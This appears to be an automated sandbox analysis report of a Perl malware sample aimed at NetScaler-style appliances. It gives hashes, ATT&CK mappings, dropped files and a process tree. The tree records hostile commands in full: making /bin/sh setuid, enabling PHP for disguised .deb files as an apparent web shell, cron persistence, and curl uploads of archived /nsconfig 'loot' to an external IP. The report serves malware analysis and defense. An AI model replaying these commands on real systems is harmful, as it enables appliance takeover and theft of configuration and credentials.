602b859d38c02c559f62e5c6f7ba30265b2ffd7faf528a3b0151727c7a1dc2d3

Analysis

max time kernel
39s
max time network
35s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/10/2026, 19:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
602b859d38c02c559f62e5c6f7ba30265b2ffd7faf528a3b0151727c7a1dc2d3.pl
Size 27KB
Sample261003-xv663sfa53
SHA256 602b859d38c02c559f62e5c6f7ba30265b2ffd7faf528a3b0151727c7a1dc2d3
MD5 d81e80b7ed52d48575373e7aa7a7ac25
SHA1 eca6e2909802995a7c3414b078617f5b850c2683
SHA512 61fe6b732e110250dcb8eb75505aed28b2e6a73fcb9050067fe9327fd14967aec2c982a8eefb9d5fef44b88bb95ecce81c5ed09f736035eca1da831245d0cdbb
SSDEEP 768:sFxadn2345FPWdWmS1nwuxli8o7TUILRinUKtXgZC1G1j:0Q2I5FPWdPSNwuxli8o80RinhXgZ0G1j
TLSH
T174D21AC27C6E9DB183D7C47CEB9AD402775A5447141A2464F8BCA3AC6F68434D2F2BE8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

antivm discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.7UXIDc	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 3 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
729	sh
827	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/uptime	ps
File opened for reading	/proc/325/cmdline	ps
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/169/cmdline	pkill
File opened for reading	/proc/41/status	pkill
File opened for reading	/proc/109/stat	ps
File opened for reading	/proc/292/status	ps
File opened for reading	/proc/307/cmdline	pkill
File opened for reading	/proc/284/cmdline	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/259/cmdline	ps
File opened for reading	/proc/138/cmdline	pkill
File opened for reading	/proc/638/status	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/26/cmdline	pkill
File opened for reading	/proc/638/status	ps
File opened for reading	/proc/312/cmdline	pkill
File opened for reading	/proc/138/status	pkill
File opened for reading	/proc/8/status	ps
File opened for reading	/proc/9/cmdline	ps
File opened for reading	/proc/78/stat	ps
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/135/cmdline	pkill
File opened for reading	/proc/16/cmdline	ps
File opened for reading	/proc/138/cmdline	ps
File opened for reading	/proc/655/status	ps
File opened for reading	/proc/20/cmdline	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/325/cmdline	pkill
File opened for reading	/proc/107/status	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/17/cmdline	ps
File opened for reading	/proc/579/status	ps
File opened for reading	/proc/282/cmdline	pkill
File opened for reading	/proc/21/status	ps
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/78/cmdline	pkill
File opened for reading	/proc/567/status	pkill
File opened for reading	/proc/149/status	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/638/stat	ps
File opened for reading	/proc/26/cmdline	pkill
File opened for reading	/proc/307/status	pkill
File opened for reading	/proc/642/cmdline	pkill
File opened for reading	/proc/meminfo	ps
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/sys/kernel/ngroups_max	id
File opened for reading	/proc/5/stat	ps
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/22/status	ps
File opened for reading	/proc/160/cmdline	ps
File opened for reading	/proc/222/cmdline	pkill
File opened for reading	/proc/591/cmdline	pkill
File opened for reading	/proc/222/cmdline	ps
File opened for reading	/proc/655/cmdline	ps
File opened for reading	/proc/645/status	pkill
File opened for reading	/proc/300/status	pkill
File opened for reading	/proc/9/status	ps
File opened for reading	/proc/110/stat	ps
File opened for reading	/proc/282/status	ps
File opened for reading	/proc/644/cmdline	ps
File opened for reading	/proc/651/cmdline	ps
File opened for reading	/proc/642/status	pkill

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
712	pkill
729	sh
730	gzip
827	sh
828	gzip

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.slap.cron	602b859d38c02c559f62e5c6f7ba30265b2ffd7faf528a3b0151727c7a1dc2d3.pl

/tmp/602b859d38c02c559f62e5c6f7ba30265b2ffd7faf528a3b0151727c7a1dc2d3.pl
/tmp/602b859d38c02c559f62e5c6f7ba30265b2ffd7faf528a3b0151727c7a1dc2d3.pl
1⤵
- Writes file to tmp directory
PID:645
- /bin/mkdir
  mkdir -p /nsconfig/.slap /var/netscaler/logon/LogonPoint/custom
  2⤵
  PID:647
- /bin/cat
  cat
  2⤵
  PID:650
- /bin/cat
  cat
  2⤵
  PID:653
- /bin/mkdir
  mkdir -p /var/tmp/.ux
  2⤵
  PID:656
- /bin/cat
  cat
  2⤵
  PID:663
- /bin/cat
  cat
  2⤵
  PID:667
- /bin/cat
  cat
  2⤵
  PID:670
- /bin/chmod
  chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl
  2⤵
  PID:673
- /bin/cat
  cat
  2⤵
  PID:676
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver
  2⤵
  PID:678
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver
  2⤵
  PID:679
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb
  2⤵
  PID:681
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.slap.receiver
  2⤵
  PID:683
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.ctxs.receiver
  2⤵
  PID:685
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:688
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:689
- /bin/chmod
  chmod 6555 /bin/sh
  2⤵
  PID:691
- /bin/chmod
  chmod 700 /nsconfig/.slap/boot.sh
  2⤵
  PID:692
- /usr/bin/perl
  perl -ni -e "print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver}" /etc/httpd.conf
  2⤵
  PID:693
- /bin/grep
  grep -q "Alias /logon/LogonPoint/custom/receiver.v2.min.css" /etc/httpd.conf
  2⤵
  PID:695
- /bin/cp
  cp /etc/httpd.conf /etc/httpd.conf.slap.bak
  2⤵
  PID:696
- /bin/cat
  cat
  2⤵
  PID:697
- /usr/bin/perl
  perl -pi -e "s/php_flag engine off/php_flag engine on/" /etc/httpd.conf
  2⤵
  PID:698
- /bin/grep
  grep -q "AddType application/x-httpd-php .deb" /etc/httpd.conf
  2⤵
  PID:699
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:700
- /bin/grep
  grep -q "[.]slap/agent.pl"
  2⤵
  PID:702
- /bin/ps
  ps -axww
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:701
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler
  2⤵
  PID:704
- /usr/bin/setsid
  /usr/bin/setsid /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:703
- /bin/perl
  /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:703
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler
  2⤵
  PID:705
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:706
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron
  2⤵
  PID:707
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron
  2⤵
  PID:708
- /usr/bin/crontab
  crontab /tmp/.slap.cron
  2⤵
  - Creates/modifies Cron job
  PID:709
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/slapshot.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:711
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/whipd.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:712
- /bin/date
  date -u
  2⤵
  PID:715
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:714
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:713
- /usr/bin/id
  id
  2⤵
  - Reads runtime system information
  PID:716
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:713
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:714
- /bin/uname
  uname -a
  2⤵
  PID:717
- /bin/ls
  ls -l /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /etc/httpd.conf
  2⤵
  PID:718
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:719
- /bin/grep
  grep -in php /etc/httpd.conf
  2⤵
  PID:720
- /usr/bin/tail
  tail -n 80
  2⤵
  PID:721
- /bin/sed
  sed -n "1395,1425p" /etc/httpd.conf
  2⤵
  PID:722
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error_log
  2⤵
  PID:723
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error.log
  2⤵
  PID:724
- /usr/bin/tail
  tail -n 40 /var/log/ns.log
  2⤵
  PID:725
- /bin/rm
  rm -rf /var/tmp/.s2loot
  2⤵
  PID:726
- /bin/mkdir
  mkdir -p /var/tmp/.s2loot
  2⤵
  PID:727
- /bin/tar
  tar czf /var/tmp/.s2loot/nsconfig.tgz .
  2⤵
  PID:728
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:729
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:730
- /bin/tar
  tar tzf /var/tmp/.s2loot/nsconfig.tgz
  2⤵
  PID:731
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:732
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:732
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:732
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:732
- - /sbin/gzip
    gzip -d
    3⤵
    PID:732
- - /bin/gzip
    gzip -d
    3⤵
    PID:732
- /usr/bin/wc
  wc -c
  2⤵
  PID:733
- /bin/date
  date -u "+%Y-%m-%dT%H:%M:%SZ"
  2⤵
  PID:734
- /usr/bin/curl
  curl -fsSk --connect-timeout 10 -H Expect: -m 300 -o /dev/null -w "upload=loot_nsconfig.tgz attempt=1 http=%{http_code} bytes=%{size_upload} time=%{time_total}\\n" -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/62cd78.sh/loot_nsconfig.tgz
  2⤵
  - Checks CPU configuration
  PID:735
- /bin/date
  date -u "+%Y-%m-%dT%H:%M:%SZ"
  2⤵
  PID:811
- /bin/sleep
  sleep 5
  2⤵
  PID:812
- /usr/bin/curl
  curl -fsSk --connect-timeout 10 -H Expect: -m 300 -o /dev/null -w "upload=loot_nsconfig.tgz attempt=2 http=%{http_code} bytes=%{size_upload} time=%{time_total}\\n" -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/62cd78.sh/loot_nsconfig.tgz
  2⤵
  - Checks CPU configuration
  PID:813
- /bin/date
  date -u "+%Y-%m-%dT%H:%M:%SZ"
  2⤵
  PID:816
- /bin/sleep
  sleep 5
  2⤵
  PID:817
- /usr/bin/curl
  curl -fsSk --connect-timeout 10 -H Expect: -m 300 -o /dev/null -w "upload=loot_nsconfig.tgz attempt=3 http=%{http_code} bytes=%{size_upload} time=%{time_total}\\n" -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/62cd78.sh/loot_nsconfig.tgz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:818
- /bin/date
  date -u "+%Y-%m-%dT%H:%M:%SZ"
  2⤵
  PID:821
- /bin/sleep
  sleep 5
  2⤵
  PID:822
- /bin/tar
  tar czf /var/tmp/.s2loot/hist.tgz /nsconfig/ns.conf.0 /nsconfig/ns.conf.1 /nsconfig/ns.conf.2 /nsconfig/ns.conf.3 /nsconfig/ns.conf.4 /nsconfig/ns.conf.bak
  2⤵
  PID:826
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:827
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:828
- /bin/tar
  tar tzf /var/tmp/.s2loot/hist.tgz
  2⤵
  PID:829
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:830
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:830
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:830
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:830
- - /sbin/gzip
    gzip -d
    3⤵
    PID:830
- - /bin/gzip
    gzip -d
    3⤵
    PID:830
- /usr/bin/wc
  wc -c
  2⤵
  PID:831
- /bin/date
  date -u "+%Y-%m-%dT%H:%M:%SZ"
  2⤵
  PID:832
- /usr/bin/curl
  curl -fsSk --connect-timeout 10 -H Expect: -m 300 -o /dev/null -w "upload=loot_nshist.tgz attempt=1 http=%{http_code} bytes=%{size_upload} time=%{time_total}\\n" -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/62cd78.sh/loot_nshist.tgz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:833
- /bin/date
  date -u "+%Y-%m-%dT%H:%M:%SZ"
  2⤵
  PID:836
- /bin/sleep
  sleep 5
  2⤵
  PID:837

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

agent.pl

Path /nsconfig/.slap/agent.pl
Size 4KB
SHA256 94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761
MD5 de6f7c87e8f5be485243441ae7ab5bd0
SHA1 7249acf88b30ad5b7bbf3c10299e16780f3d0dac
SHA512 88b9e76e1aac24b7f7806d3b8dbcd8ccda912b0f390b8fee2c18cbe5dd4d6494d579a8e0e0981fdcc1b3c2e31d8374f861d37c077d13ef1a018139e357c7f668
SSDEEP 96:IFWaH88gEe/qnao0AHt2tRqS2kJRCR7jXCtJrC9SAqCGCSeCvCSEx3a32Q:IFW+hD2tRgwt4UADH4K1Ba32Q
TLSH
T10E81CE843DFBAA7684F2D02CEFDAC41171B9849B8509E9A07D7C42BCAF45930D6F52C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

boot.sh

Path /nsconfig/.slap/boot.sh
Size 3KB
SHA256 af7a3af465c95e997e1476b0c2db852b26169d4a5647a445ff46a54a86a75cf8
MD5 14d4a6c791452d159199b9f53b74d98b
SHA1 4c50e3dd1031687052bb49ee8cf44b9b77ea1600
SHA512 5185f30591cf4ec5edd11471f5c7bd5d1b537e123736ee7f3afda53cdcfc7b4034237ba100f9f39cc045034cebb2205184c589a7c0c9589eed4fe1bf0488e1a8
TLSH
T1D47185F3B40E9EF62DD989BCB39D85497BC282691C252965F049B634A4BC248F0B6178
MD5 SHA1 SHA512 TLSH

Submit Download

bridge.pl

Path /nsconfig/.slap/bridge.pl
Size 697B
SHA256 f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad
MD5 bc21f7306742c9e9d2f10a3542463be2
SHA1 237ca70151ef13c42c5bbdc7c553bc561a90db08
SHA512 af47a95a1d6455c62e978ae3b8dc50cb3216968a56039bd2904c2d1cf5e70d055a21af09f187eb5663cd8c02b78b26da08ce3070c098f92390966247aa087d57
TLSH
T1E601FE204CD34B51C0FEA04AF608914792CA843B4EAAB8BE7E50478E9F04374B0F76C0
MD5 SHA1 SHA512 TLSH

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 37B
SHA256 370368e6491d9344962b6a58a771fb24e500f84e9d99379f61969e3068ed5b4b
MD5 d5800c883436ef1f94115dcab532015a
SHA1 a46bf0376f7876ce348c8a0d053762291f08ea33
SHA512 a4bb5355a14d262c50307f77c1806751ae606aff6022af4c515311a6d3f289d72f7110a9bc7c71b1af74f90ccf569dbc168646292761e2c0ad9e11c6c36034af
MD5 SHA1 SHA512

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 71B
SHA256 4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2
MD5 79b9b312be1c2b9d60a03e736eae4c5f
SHA1 09fce7d4b32dcba305a2d07f80a4292e0d4347e5
SHA512 a244df78c6246342d607320f603d85946d0b5e6d8cd723446c2c8638ae42c1ba8132b3d93a24f5923ff9f6cc5b5961885d54e77a1838990b42507efa94d3e9cc
TLSH
T17DA0024A260CEDF3CFCB9AB4D65724AA3F5142843E410521B404F2C4E8201CE7E39004
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 45B
SHA256 0759755783a468f3bc18dcbfde22fdb21bb754aee300137f26ee1aa1893dd3cd
MD5 80bdf2e82a187390554f344fe42b85e5
SHA1 8fce99a4a31526033f92cb5428491d9fdf911946
SHA512 b61ac653dd02118ad48ac80add43744cac3b338aeb7ce3dee36e63ca64380330a909d3dcfaf5a2c628b3ad91efed2e9e7b0988f8b694fee000c753402f5ed580
MD5 SHA1 SHA512

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 89B
SHA256 1a7762fb2dc20ab46e650818ba79e47c9758b02f2b0fcb12a7ed15cebc7e392f
MD5 51981d72e97719cd5b287c7dbb830cfd
SHA1 e093784d86c1d60bbd0b19545644f4156cafca3b
SHA512 bc62e23c068936d26a421d72673a67417dd4edc1a2bc53ff403169ea37b05301cfb761da422b9e9fbb2e6e96ed0117e3c1b61689d3b5d03b4ca3b8f6a03d067d
TLSH
T154B0013A950CADF78A8E5AB8E3A638BE7E1643843E410561745CF2C4E82C38F7A39000
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.receiver

Path /var/netscaler/logon/LogonPoint/custom/.slap.receiver
Size 493B
SHA256 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7
MD5 7279e5629e02ea3fc9392365f1c005c6
SHA1 838103a40d8530ae9a7eaaf3467aa653443b1bd7
SHA512 3040631b49a846d2c65aa11b23b366b3bfc59adbdd612462549dd421a2fdf5309114af5a078bc6b416f82ee2eabea14120da3108d73c65dd8d6c076fad3a6941
TLSH
T1F9F09E0C31E625B1CDBFBC70D75E2C08A1690001151A9A5138C25DCD1DF812D96B68E6
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.7UXIDc

Path /var/spool/cron/crontabs/tmp.7UXIDc
Size 278B
SHA256 f94840df094de84f9880c016aaff64002e625517abd7bc90370dad8d927c5b4e
MD5 a1553053900114649e3005f409289149
SHA1 eb6242f470c10e34ca33a89eb6c24595f957366e
SHA512 ae62d3686d81d1ab28caa304bd52c74258ccdbd281dec426ff8849c3c8a78ed5c6e2891bbaba2239c3f58e8caffcb2cfe6d6641d34919c483ad602e9dbbc39e2
TLSH
T101D02B3D2B04EDB38A4907F492AB283DAD41E17C58094D11F09DA054911A34F3F70461
MD5 SHA1 SHA512 TLSH

Submit Download

hist.tgz

Path /var/tmp/.s2loot/hist.tgz
Size 45B
SHA256 78f05e6430cebb46138fc6b801f5019dbd05523c44c12ad83240254438f3f337
MD5 8a810150a835a073fdf8a63f491301c5
SHA1 50dca8dd85e66625b65103489b62a875d55b4ded
SHA512 e09e100086bba863edc48766ddfe6ce3f3be1fde2fbf76ed6521fc091d2376ccb888067b457d33d651e36ae87caec0b8b30c7fa59bcf997d44448382cf94226e
MD5 SHA1 SHA512

Submit Download

nsconfig.tgz

Path /var/tmp/.s2loot/nsconfig.tgz
Size 3KB
SHA256 09cd8d23753a1d995db94257feebc5d6bd188b65bf71ee063bde6a18f130a515
MD5 5d00ce9d15a91a4f697931b56cf9dde2
SHA1 717cedcf5a0c30db4eccb4aacc85a89b92461655
SHA512 e4f48d1c8c7fcaf12dd44897340e2a66ce3af3ad3e449b82307c0da2b6aed1c1df8e3d43e955e0ad84c6b2c1710c0fe70af35df686b4040c2eac11c10ca3a753
TLSH
T1A6617F0E55AAD6F0D1998519AE744A8894B7E2F61C0CA64CB016F7CCB8C2D4DE0AE744
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-agent.log

Path /var/tmp/.slap-agent.log
Size 63B
SHA256 6686e0f601f892bb8f8e47727170eb99045f66623834e5be2cb1984dfe7a88e1
MD5 2139e7e90aa4d9d126e20970e8149fbd
SHA1 ceb75170a5d023fcdabfb170ee52b2c5e83fea2b
SHA512 b0d1e4592a87f22f161b269b00f32eebba8d4ef1400d78d26c1ae9f5293321cb76e9bce56aa641ff69152096fb9234807a700b19882d1806d616003936c1c6ac
TLSH
T18DA0021259D961541A9629915319ECF68717004F2F0E1225E1704304A427A74B6DFAC2
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 54B
SHA256 74bbbf92c1eefb70d9c720aa1844cbd9d796b1e4d5368cc2f05b3fcd57b4c73d
MD5 8cc431bf00481814a586377d970cc70d
SHA1 7778370b1f790e3e0fa6019e71dbd65339b72756
SHA512 1339bae6ec8c7014e50f2abf22ba4490f338053ea46d03d889dd0539860a11867a92662ff3e595927b838bc81b4fe08a25244b0408c843020cf484139c3fd4b3
TLSH
T19B9002B553045A65146754C679E58D05022794ED045CD561966183E146820170749B41
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 93B
SHA256 55ec26de2fefea00bd371180d595eb7b0ff2450521d4a81734b5f24badf4ea12
MD5 35f9f9514d888b0cf9c478f3c14090ac
SHA1 4673e9c935dad8a1cbdf5171181cbf7ca079522f
SHA512 9454d010868515a4d9223f3265ec1936cb59577d801eeb4df3914c1de7dfe388b94049896c9a62f927b9ef9a167491d1b7acb6c67f70f1ea7462a3b6abef2f67
TLSH
T1BEB0127003105512206380D5F4F04DC70233D8D80258BC10AB90C3D3414110A1345701
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 202B
SHA256 239477e316c5982fd4c07b46d8df4dd5ca7f68c3859b8ea22fed111a33a9255b
MD5 8cf92123d61d504aeb2ab6f32ba2b473
SHA1 cfe254fd1a398236b9482588b33606a21dd7db7b
SHA512 797c18ed53560894c0e9f32d4c99f00513634f7f7322ca4790a9f89c2d0172cef292da55e3ddab10b78bfb92d0f9bb1ebd09ad2fc3860d52b2142575a82cb6e8
TLSH
T15FD02290336067C30983D8C2F4F68DAA827794A60A29BB04FA4DC3D2022110F5743E40
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 226B
SHA256 3cf102ab79f34bab013bfa0399bf5252e40c0c542d715dd3d7c0839b745a300b
MD5 35bff89f440a7b562eae616c890f01e1
SHA1 c903782b74e7d41c6b84af2a00b9ca7fa588cf77
SHA512 3c26f40e831ce27ecdf14151980f9145cb0048996ec32b1f6ceb412e9185bea3fa096ab4bd5cfc3ff15d3e46075a4aa4ae9fd70dc3fa891bbd0d7701612a9c3c
TLSH
T1CDD0A7903260A6D34993D8C6F4F68DAA417794D50A29BB04AA5D97D2061510E6753B41
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 843B
SHA256 d2b38943a503b856b905d449f1ff407dcf7570c2d856d67aa72a5037842816f6
MD5 f05d774665db942ff8e89b8122e3454b
SHA1 939c5cb6792b35e4e454534266f85adf0a71f575
SHA512 35c8e74cb54189e0f158e6626b3e3dc7b38e21dd884e3b80502cb89e1537e73e452dd47bb96ffe7bb2e89714fd512fb64b793674186542d1eb053cd01c738aac
TLSH
T19601CCCF6409A63317D2CCF6B85A4A9481679099085C3A984DEDE33581021861E13B29
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-httpd-test.log

Path /var/tmp/.slap-httpd-test.log
Size 175B
SHA256 e7e42284beab6620d91e950164e873076e854e66f000e4d00e541df41f773bdb
MD5 ad9cc5d8b19b0167c8d2db9ba8fb9867
SHA1 c85dd5bb374ad1f117113dbde0560805ac38ef5b
SHA512 3c32a0e15036b9c4bff2d622817b6e19565b2e160be5e430f5f0ea1eed9f933e10e4e852771d60a67d594f49991e3e60a166e370895d3840503bc22a4c81cfce
TLSH
T164C080ED00457F35B9CF0CF5674D7815279C024D34D4115E0469F1FB2001E7018126D6
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path /var/tmp/.ux/agent.log
Size 55B
SHA256 08ff391542a2aee044b0d780f0c3c589ae8c75583b02c83e2c42b9a6e4ef8d72
MD5 09fb8c088c822232e125dfb17b0cc4f1
SHA1 7eb5905ce7abc5f02706087665d626e471247c1f
SHA512 774bf362f49fdc4970be4c37d5c9e958a638a3c5e950688072935d6a21b1e1e41c7c209fcd872f371cd9094a2e0400e80ba5028c3992248747e6238af618cd98
TLSH
T1C59002211610A0AF11E28346717552DAD506D107069424207A550542409A4169331010
MD5 SHA1 SHA512 TLSH

Submit Download

slapshot.py

Path /var/tmp/.ux/slapshot.py
Size 7KB
SHA256 be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447
MD5 24f4f949a8df9cb4be3cf8d0cb89eb5d
SHA1 68b56277c3f88b78209fe8dfb4bbeff0b071292d
SHA512 a6ba111301443af786012e1258a77d44239de3bdd997cb8755b5f4cc97ec7236125b2999baa5e4e8f49cd2be4448bff818552db7841b9bd28483976bfd96f61d
SSDEEP 96:M56N8NbBZ2Ok7bsOwFF5r5QYm97WmVUgwyXGoFPWnXAuxuBTFiUbcjHa:wF2345FP3mdWmSgwy9WnXAuxKc3Ha
TLSH
T131F13F86AC645965C397C8965C62E4427727BC07725E1138FAFCC3E42FA887582F1EF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

whipd.py

Path /var/tmp/.ux/whipd.py
Size 4KB
SHA256 dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e
MD5 9753dbf79692d424d30abaf39e776a1e
SHA1 8ee23e2fc68366e9a07d8fd682bdb3539573a44f
SHA512 3a886d2a3671b85979d2afaf214efc94f5c1c4786f8d6dd7b314deb945ae39d871992d45034e8492177f016e5e630a3a37f1efdc5d74d20997261e581b523719
SSDEEP 96:kXai6ZdGd3Tgwy8rnQP71TKml0eK3uVUKigRRGLZq5XFEqhi:q6ZItgwyqQP7AgXK3umKigRRGLZqLEqI
TLSH
T125A18602586959F49343C52698E3F956E73E3917200F24A9397DD3C91F64876C2B2EFC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads